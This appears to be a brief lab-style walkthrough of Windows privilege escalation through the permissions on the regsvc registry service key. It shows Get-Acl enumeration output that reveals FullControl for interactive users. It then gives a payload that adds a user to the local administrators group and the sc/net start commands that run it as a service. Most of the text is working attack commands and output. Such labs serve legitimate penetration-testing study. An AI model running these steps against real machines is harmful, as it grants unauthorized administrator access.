Registry escalation

enumeration

Manual enumeration

Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
PS C:\Users\user\Desktop\Tools\PowerUp> Get-Acl -Path hklm:\System\CurrentContro
lSet\services\regsvc | fl


Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\regsvc
Owner  : BUILTIN\Administrators
Group  : NT AUTHORITY\SYSTEM
Access : Everyone Allow  ReadKey
         NT AUTHORITY\INTERACTIVE Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
Audit  :
Sddl   : O:BAG:SYD:P(A;CI;KR;;;WD)(A;CI;KA;;;IU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)

add this to the place holder

cmd.exe /k net localgroup administrators sawyer /add

and then time to compile

then transfer it

and now lets run it using either of these commands

note: this only works in cmd.exe, no output either

sc start regsvc

or

note: Works but gives an error so check if you get execution or not

net start regsvc

Full source

Last updated